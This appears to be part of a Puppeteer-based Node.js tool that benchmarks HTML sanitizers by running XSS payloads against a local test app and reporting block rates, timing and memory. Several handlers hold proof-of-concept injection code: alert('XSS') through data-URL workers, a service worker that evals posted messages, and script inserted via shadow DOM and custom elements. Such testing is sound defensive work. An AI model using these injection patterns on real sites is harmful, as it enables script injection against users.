```

```
// Vibration specific actions
async handleVibration(page, payload) {
  try {
    await page.evaluate(() => {
      if (navigator.vibrate) {
        navigator.vibrate([100, 50, 100]);
      }
    });
    await page.waitForTimeout(500);
  } catch (e) {
    // Ignore errors
  }
}

// Speech synthesis specific actions
async handleSpeechSynthesis(page, payload) {
  try {
    await page.evaluate(() => {
      // Execute the actual payload script directly
      try {
        speechSynthesis.speak(new SpeechSynthesisUtterance('XSS'));
      } catch (e) {
        // If speech synthesis fails, try alternative approach
        try {
          eval('speechSynthesis.speak(new SpeechSynthesisUtterance("XSS"))');
        } catch (e2) {
          // Don't trigger false positive - just log the failure
          console.log('Speech synthesis failed:', e2.message);
        }
      }
    });
    await page.waitForTimeout(3000); // Speech synthesis needs more time
  } catch (e) {
    // Ignore errors
  }
}

// Web animations specific actions
async handleWebAnimations(page, payload) {
  try {
    await page.evaluate(() => {
      const elements = document.querySelectorAll('*');
      elements.forEach(el => {
        if (el.animate) {
```

```
          el.animate([{ transform: 'scale(1)' }, { transform: 'scale(2)' }], 1000);
        }
      });
    });
    await page.waitForTimeout(1000);
  } catch (e) {
    // Ignore errors
  }
}

// Observer specific actions
async handleIntersectionObserver(page, payload) {
  try {
    await page.evaluate(() => {
      const observer = new IntersectionObserver(() => {});
      observer.observe(document.body);
    });
    await page.waitForTimeout(500);
  } catch (e) {
    // Ignore errors
  }
}

async handleMutationObserver(page, payload) {
  try {
    await page.evaluate(() => {
      const observer = new MutationObserver(() => {});
      observer.observe(document.body, { childList: true });
    });
    await page.waitForTimeout(500);
  } catch (e) {
    // Ignore errors
  }
}

async handleResizeObserver(page, payload) {
  try {
    await page.evaluate(() => {
      const observer = new ResizeObserver(() => {});
      observer.observe(document.body);
    });
    await page.waitForTimeout(500);
  } catch (e) {
    // Ignore errors
```

```
  }
}

async handlePerformanceObserver(page, payload) {
  try {
    await page.evaluate(() => {
      // Trigger performance marks to activate observers
      performance.mark('test-mark');
      performance.measure('test-measure', 'test-mark');

      // Also try to trigger any existing observers
      const observers = document.querySelectorAll('script');
      observers.forEach(script => {
        if (script.textContent.includes('PerformanceObserver')) {
          // Let the script execute naturally
          try {
            eval(script.textContent);
          } catch (e) {
            // Ignore errors
          }
        }
      });
    });
    await page.waitForTimeout(1000);
  } catch (e) {
    // Ignore errors
  }
}

// Web Workers specific actions
async handleWebWorkers(page, payload) {
  try {
    await page.evaluate(() => {
      // Execute the actual payload script directly
      try {
        const worker = new Worker('data:text/javascript,alert("XSS")');
        // Workers run in separate context, so we need to listen for messages
        worker.onmessage = (e) => {
          if (e.data === 'XSS') {
            alert('XSS');
          }
        };
      } catch (e) {
        // If worker fails, try alternative approach
```

```
            try {
              eval('new Worker("data:text/javascript,alert(\\"XSS\\")")');
            } catch (e2) {
              // Don't trigger false positive - just log the failure
              console.log('Worker creation failed:', e2.message);
            }
          }
        });
        await page.waitForTimeout(3000); // Workers need more time
      } catch (e) {
        // Ignore errors
      }
    }

    async handleSharedWorkers(page, payload) {
      try {
        await page.evaluate(() => {
          // Execute the actual payload script directly
          try {
            const sharedWorker = new SharedWorker('data:text/javascript,self.postMessage("XSS")');
            // SharedWorkers run in separate context, so we need to listen for messages
            sharedWorker.port.onmessage = (e) => {
              if (e.data === 'XSS') {
                alert('XSS');
              }
            };
            sharedWorker.port.start();
          } catch (e) {
            // If shared worker fails, try alternative approach
            try {
              eval('const sw=new SharedWorker("data:text/javascript,self.postMessage(\\"XSS\\")");sw.port.onmessage=e=>e.data==="XSS"&&alert("XSS");sw.port.start()');
            } catch (e2) {
              // Don't trigger false positive - just log the failure
              console.log('SharedWorker creation failed:', e2.message);
            }
          }
        });
        await page.waitForTimeout(3000); // Shared workers need more time
      } catch (e) {
        // Ignore errors
      }
```

```
        }

        async handleServiceWorkers(page, payload) {
          try {
            await page.evaluate(() => {
              // Execute the actual payload script directly
              try {

navigator.serviceWorker.register('data:text/javascript,self.onmessage=e=>eval(e.data)').then(()
=> {
                  if (navigator.serviceWorker.controller) {
                    navigator.serviceWorker.controller.postMessage('alert("XSS")');
                  }
                });
              } catch (e) {
                // If service worker fails, try alternative approach
                try {

eval('navigator.serviceWorker.register("data:text/javascript,self.onmessage=e=>eval(e.data)").t
hen(()=>navigator.serviceWorker.controller.postMessage("alert(\\"XSS\\")"))');
                } catch (e2) {
                  // Don't trigger false positive - just log the failure
                  console.log('Service worker failed:', e2.message);
                }
              }
            });
            await page.waitForTimeout(4000); // Service workers need more time
          } catch (e) {
            // Ignore errors
          }
        }

        async handleWebAssembly(page, payload) {
          try {
            await page.evaluate(() => {
              // Execute the actual payload script directly
              try {
                WebAssembly.instantiate(new
Uint8Array([0,97,115,109,1,0,0,0,1,4,1,96,0,0,3,2,1,0,7,4,1,0,2,0,0,10,8,1,6,0,65,0,16,0,11])).
then(() => alert('XSS'));
              } catch (e) {
                // If WebAssembly fails, try alternative approach
                try {
```

```
                eval('WebAssembly.instantiate(new
Uint8Array([0,97,115,109,1,0,0,0,1,4,1,96,0,0,3,2,1,0,7,4,1,0,2,0,0,10,8,1,6,0,65,0,16,0,11])).
then(()=>alert("XSS"))');
              } catch (e2) {
                // Don't trigger false positive - just log the failure
                console.log('WebAssembly failed:', e2.message);
              }
            }
          });
          await page.waitForTimeout(3000); // WebAssembly needs more time
        } catch (e) {
          // Ignore errors
        }
      }

      async handleWebGL(page, payload) {
        try {
          await page.evaluate(() => {
            // Let existing WebGL scripts execute
            const scripts = document.querySelectorAll('script');
            scripts.forEach(script => {
              if                (script.textContent.includes('getContext')                ||
script.textContent.includes('webgl')) {
                try {
                  eval(script.textContent);
                } catch (e) {
                  // Ignore errors
                }
              }
            });
          });
          await page.waitForTimeout(1000);
        } catch (e) {
          // Ignore errors
        }
      }

      async handleWebComponents(page, payload) {
        try {
          await page.evaluate(() => {
            // Execute the actual payload script directly
            try {
              class XElem extends HTMLElement {
                constructor() {
```

```
                super();
                this.innerHTML = '<script>alert("XSS")</script>';
              }
            }
            customElements.define('x-elem', XElem);
            // Create the element to trigger the constructor
            const elem = document.createElement('x-elem');
            document.body.appendChild(elem);
          } catch (e) {
            // If Web Components fail, try alternative approach
            try {
              eval('class                              XElem                              extends
HTMLElement{constructor(){super();this.innerHTML=\'<script>alert("XSS")</script>\'}}customEleme
nts.define("x-elem",XElem);document.body.appendChild(document.createElement("x-elem"))');
            } catch (e2) {
              // Don't trigger false positive - just log the failure
              console.log('Web Components failed:', e2.message);
            }
          }
        });
        await page.waitForTimeout(2000); // Web Components need more time
      } catch (e) {
        // Ignore errors
      }
    }

    async handleShadowDOM(page, payload) {
      try {
        await page.evaluate(() => {
          // Execute the actual payload script directly
          try {
            let shadow = document.body.attachShadow({mode: 'open'});
            shadow.innerHTML = '<script>alert("XSS")</script>';
          } catch (e) {
            // If Shadow DOM fails, try alternative approach
            try {
              eval('let
shadow=document.body.attachShadow({mode:"open"});shadow.innerHTML=\'<script>alert("XSS")</scrip
t>\'');
            } catch (e2) {
              // Don't trigger false positive - just log the failure
              console.log('Shadow DOM failed:', e2.message);
            }
          }
```

```
    });
    await page.waitForTimeout(2000); // Shadow DOM needs more time
  } catch (e) {
    // Ignore errors
  }
}

async handleIframeSandbox(page, payload) {
  try {
    await page.evaluate(() => {
      const iframe = document.createElement('iframe');
      iframe.src = 'data:text/html,<script>console.log("test")</script>';
      document.body.appendChild(iframe);
    });
    await page.waitForTimeout(500);
  } catch (e) {
    // Ignore errors
  }
}

async handlePostMessage(page, payload) {
  try {
    await page.evaluate(() => {
      window.postMessage('test', '*');
    });
    await page.waitForTimeout(500);
  } catch (e) {
    // Ignore errors
  }
}

async handleLocalStorage(page, payload) {
  try {
    await page.evaluate(() => {
      localStorage.setItem('test', 'value');
      localStorage.getItem('test');
    });
    await page.waitForTimeout(500);
  } catch (e) {
    // Ignore errors
  }
}

async handleSessionStorage(page, payload) {
```

```
  try {
    await page.evaluate(() => {
      sessionStorage.setItem('test', 'value');
      sessionStorage.getItem('test');
    });
    await page.waitForTimeout(500);
  } catch (e) {
    // Ignore errors
  }
}

async handleIndexedDB(page, payload) {
  try {
    await page.evaluate(() => {
      const request = indexedDB.open('test');
      request.onsuccess = () => {};
    });
    await page.waitForTimeout(500);
  } catch (e) {
    // Ignore errors
  }
}

async handleWebSocket(page, payload) {
  try {
    await page.evaluate(() => {
      const ws = new WebSocket('ws://localhost:8080');
      ws.onopen = () => {};
    });
    await page.waitForTimeout(500);
  } catch (e) {
    // Ignore errors
  }
}

async handleWebRTC(page, payload) {
  try {
    await page.evaluate(() => {
      const pc = new RTCPeerConnection();
      pc.createDataChannel('test');
    });
    await page.waitForTimeout(500);
  } catch (e) {
    // Ignore errors
```

```
  }
}

async handleFetchAPI(page, payload) {
  try {
    await page.evaluate(() => {
      fetch('data:text/plain,test');
    });
    await page.waitForTimeout(500);
  } catch (e) {
    // Ignore errors
  }
}

async handleBlobURL(page, payload) {
  try {
    await page.evaluate(() => {
      const blob = new Blob(['test'], { type: 'text/plain' });
      URL.createObjectURL(blob);
    });
    await page.waitForTimeout(500);
  } catch (e) {
    // Ignore errors
  }
}

async handleAdvancedJavaScript(page, payload) {
  try {
    await page.evaluate(() => {
      // Test various advanced JavaScript features
      eval('console.log("test")');
      new Proxy({}, {});
      Symbol.for('test');
      function* gen() { yield 1; }
      gen().next();
      async function asyncTest() { return 1; }
      asyncTest();
      import('data:text/javascript,console.log("test")');
    });
    await page.waitForTimeout(500);
  } catch (e) {
    // Ignore errors
  }
}
```

```
updateStats(result) {
  this.stats.executed++;
  if (result.error) {
    this.stats.errors++;
  } else if (result.blocked) {
    this.stats.blocked++;
  } else {
    this.stats.vulnerable++;
  }
}

generateReport() {
  // Calculate discrepancy information and timing statistics
  const discrepancies = [];
  const pageStatusStats = {
    blocked: 0,
    vulnerable: 0,
    unknown: 0
  };
  const sanitizeTimesMs = [];
  const sanitizeTimesNs = [];
  const memoryRssDeltas = [];
  const memoryHeapDeltas = [];

  this.results.forEach(result => {
    if (result.pageStatus) {
      if (result.pageStatus === 'XSS Blocked') {
        pageStatusStats.blocked++;
      } else if (result.pageStatus === 'XSS Vulnerable') {
        pageStatusStats.vulnerable++;
      } else {
        pageStatusStats.unknown++;
      }
    }

    // Collect sanitization times (both ms and ns)
    if (result.sanitizeTimeMs && result.sanitizeTimeMs > 0) {
      sanitizeTimesMs.push(result.sanitizeTimeMs);
    }
    if (result.sanitizeTimeNs && result.sanitizeTimeNs > 0) {
      sanitizeTimesNs.push(result.sanitizeTimeNs);
    }
```

```
            // Collect memory usage data
            if (result.memoryUsage) {
              if (result.memoryUsage.rssDelta !== undefined) {
                memoryRssDeltas.push(result.memoryUsage.rssDelta);
              }
              if (result.memoryUsage.heapUsedDelta !== undefined) {
                memoryHeapDeltas.push(result.memoryUsage.heapUsedDelta);
              }
            }

            // Check for discrepancies
            const alertStatusVulnerable = !result.blocked; // alerts.length > 0
            const pageStatusVulnerable = result.pageStatus === 'XSS Vulnerable';

            if (alertStatusVulnerable !== pageStatusVulnerable) {
              discrepancies.push(result.payloadId);
            }
          });

          // Calculate timing and memory statistics
          const timingStats = {
            totalTests: sanitizeTimesMs.length,
            averageTimeMs: sanitizeTimesMs.length > 0 ? (sanitizeTimesMs.reduce((a, b) => a + b,
0) / sanitizeTimesMs.length).toFixed(3) : '0.000',
            minTimeMs: sanitizeTimesMs.length > 0 ? Math.min(...sanitizeTimesMs).toFixed(3) :
'0.000',
            maxTimeMs: sanitizeTimesMs.length > 0 ? Math.max(...sanitizeTimesMs).toFixed(3) :
'0.000',
            totalTimeMs: sanitizeTimesMs.reduce((a, b) => a + b, 0).toFixed(3),
            averageTimeNs: sanitizeTimesNs.length > 0 ? Math.round(sanitizeTimesNs.reduce((a, b)
=> a + b, 0) / sanitizeTimesNs.length) : 0,
            minTimeNs: sanitizeTimesNs.length > 0 ? Math.min(...sanitizeTimesNs) : 0,
            maxTimeNs: sanitizeTimesNs.length > 0 ? Math.max(...sanitizeTimesNs) : 0,
            totalTimeNs: sanitizeTimesNs.reduce((a, b) => a + b, 0)
          };

          const memoryStats = {
            totalTests: memoryRssDeltas.length,
            rssAverage: memoryRssDeltas.length > 0 ? Math.round(memoryRssDeltas.reduce((a, b) =>
a + b, 0) / memoryRssDeltas.length) : 0,
            rssMin: memoryRssDeltas.length > 0 ? Math.min(...memoryRssDeltas) : 0,
            rssMax: memoryRssDeltas.length > 0 ? Math.max(...memoryRssDeltas) : 0,
            rssTotal: memoryRssDeltas.reduce((a, b) => a + b, 0),
```

```
            heapAverage: memoryHeapDeltas.length > 0 ? Math.round(memoryHeapDeltas.reduce((a, b)
=> a + b, 0) / memoryHeapDeltas.length) : 0,
            heapMin: memoryHeapDeltas.length > 0 ? Math.min(...memoryHeapDeltas) : 0,
            heapMax: memoryHeapDeltas.length > 0 ? Math.max(...memoryHeapDeltas) : 0,
            heapTotal: memoryHeapDeltas.reduce((a, b) => a + b, 0)
          };

          const report = {
            summary: {
              sanitizer: this.sanitizer,
              timestamp: new Date().toISOString(),
              stats: this.stats,
              pageStatusStats: pageStatusStats,
              timingStats: timingStats,
              memoryStats: memoryStats,
              discrepancies: discrepancies,
              successRate: ((this.stats.blocked / this.stats.executed) * 100).toFixed(2) + '%'
            },
            results: this.results
          };

          // Save detailed report
          const           filename           =           `xss-test-report-${this.sanitizer}-${new
Date().toISOString().replace(/[:.]/g, '-').slice(0, 16)}.json`;
          fs.writeFileSync(filename, JSON.stringify(report, null, 2));

          // Generate CSV report
          const         csvFilename         =         `xss-test-results-${this.sanitizer}-${new
Date().toISOString().replace(/[:.]/g, '-').slice(0, 16)}.csv`;
          const csvContent = [
            'Payload     ID,Payload     Name,Category,Sanitizer,XSS     Detected,Blocked,Alert
Count,Alerts,Page Status,Sanitize Time (ns),Sanitize Time (ms),RSS Delta (bytes),Heap Delta
(bytes),Timestamp',
            ...this.results.map(r =>

`${r.payloadId},"${r.payloadName}",${r.payloadCategory},${r.sanitizer},${r.xssDetected},${r.blo
cked},${r.alertCount || 0},"${(r.alerts || []).map(a => a.message).join('; ')}",${r.pageStatus
|| 'Unknown'},${r.sanitizeTimeNs || 0},${r.sanitizeTimeMs || 0},${r.memoryUsage?.rssDelta ||
0},${r.memoryUsage?.heapUsedDelta || 0},${r.timestamp}`
            )
          ].join('\n');
          fs.writeFileSync(csvFilename, csvContent);

          // Print summary
```

```
        console.log('\n TEST SUMMARY');
        console.log('================');
        console.log(`Sanitizer: ${this.sanitizer}`);
        console.log(`Total Tests: ${this.stats.total}`);
        console.log(`Executed: ${this.stats.executed}`);
        console.log(`Blocked: ${this.stats.blocked}`);
        console.log(`Vulnerable: ${this.stats.vulnerable}`);
        console.log(`Errors: ${this.stats.errors}`);
        console.log(`Success Rate: ${report.summary.successRate}`);

        // Page Status Summary
        const pageStatusSuccessRate = pageStatusStats.blocked > 0 ?
          ((pageStatusStats.blocked / (pageStatusStats.blocked + pageStatusStats.vulnerable))
* 100).toFixed(2) + '%' :
          '0.00%';

        console.log(`\n PAGE STATUS SUMMARY:`);
        console.log(`   Blocked (Page Status): ${pageStatusStats.blocked}`);
        console.log(`   Vulnerable (Page Status): ${pageStatusStats.vulnerable}`);
        console.log(`   Unknown (Page Status): ${pageStatusStats.unknown}`);
        console.log(`   Success Rate (Page Status): ${pageStatusSuccessRate}`);

        // Timing Summary
        console.log(`\n SANITIZATION TIMING:`);
        console.log(`   Tests with timing data: ${timingStats.totalTests}`);
        console.log(`           Average    sanitize    time:    ${timingStats.averageTimeNs}ns
(${timingStats.averageTimeMs}ms)`);
        console.log(`               Min     sanitize     time:     ${timingStats.minTimeNs}ns
(${timingStats.minTimeMs}ms)`);
        console.log(`               Max     sanitize     time:     ${timingStats.maxTimeNs}ns
(${timingStats.maxTimeMs}ms)`);
        console.log(`             Total    sanitize    time:    ${timingStats.totalTimeNs}ns
(${timingStats.totalTimeMs}ms)`);

        // Memory Usage Summary
        console.log(`\n MEMORY USAGE:`);
        console.log(`   Tests with memory data: ${memoryStats.totalTests}`);
        console.log(`   RSS Memory:`);
        console.log(`                   Average    delta:    ${memoryStats.rssAverage}    bytes
(${(memoryStats.rssAverage / 1024).toFixed(2)} KB)`);
        console.log(`       Min delta: ${memoryStats.rssMin} bytes (${(memoryStats.rssMin /
1024).toFixed(2)} KB)`);
        console.log(`       Max delta: ${memoryStats.rssMax} bytes (${(memoryStats.rssMax /
1024).toFixed(2)} KB)`);
```

```
        console.log(`     Total delta: ${memoryStats.rssTotal} bytes (${(memoryStats.rssTotal
/ 1024).toFixed(2)} KB)`);
        console.log(`   Heap Memory:`);
        console.log(`                  Average    delta:    ${memoryStats.heapAverage}    bytes
(${(memoryStats.heapAverage / 1024).toFixed(2)} KB)`);
        console.log(`      Min delta: ${memoryStats.heapMin} bytes (${(memoryStats.heapMin /
1024).toFixed(2)} KB)`);
        console.log(`      Max delta: ${memoryStats.heapMax} bytes (${(memoryStats.heapMax /
1024).toFixed(2)} KB)`);
        console.log(`    Total delta: ${memoryStats.heapTotal} bytes (${(memoryStats.heapTotal
/ 1024).toFixed(2)} KB)`);

        // Discrepancy Information
        if (discrepancies.length > 0) {
          console.log(`\n⚠□ DISCREPANCY DETECTED:`);
          console.log(`   Tests with discrepancies: ${discrepancies.join(', ')}`);
          console.log(`   Total discrepancies: ${discrepancies.length}`);
        } else {
          console.log(`\n✓ NO DISCREPANCIES:`);
          console.log(`   All tests show consistent results between alert detection and page
status`);
        }

        console.log(`\n Reports saved:`);
        console.log(`   - ${filename}`);
        console.log(`   - ${csvFilename}`);
      }
    }

    // CLI interface
    async function main() {
      const args = process.argv.slice(2);
      const options = {};

      // Parse command line arguments
      for (let i = 0; i < args.length; i++) {
        switch (args[i]) {
          case '--sanitizer':
          case '-s':
            options.sanitizer = args[++i];
            break;
          case '--url':
          case '-u':
            options.baseUrl = args[++i];
```

```
        break;
      case '--headless':
        options.headless = args[++i] !== 'false';
        break;
      case '--timeout':
      case '-t':
        options.timeout = parseInt(args[++i]);
        break;
      case '--help':
      case '-h':
        console.log(`
XSS Automated Testing Tool

Usage: node puppeteer-tests.js [options]

Options:
  -s, --sanitizer <name>    Sanitizer to test (none, dompurify, xss, sanitizeHtml, owasp)
  -u, --url <url>          Base URL (default: http://localhost:3003)
  --headless <true|false>  Run in headless mode (default: true)
  -t, --timeout <ms>       Timeout for each test (default: 10000)
  -h, --help              Show this help

Examples:
  node puppeteer-tests.js --sanitizer none
  node puppeteer-tests.js --sanitizer dompurify --headless false
  node puppeteer-tests.js --sanitizer xss --url http://localhost:3000
        `);
        process.exit(0);
    }
  }

  const tester = new XSSAutomatedTester(options);
  await tester.runTests();
}

// Run if called directly
if (require.main === module) {
  main().catch(console.error);
}

module.exports = XSSAutomatedTester;
```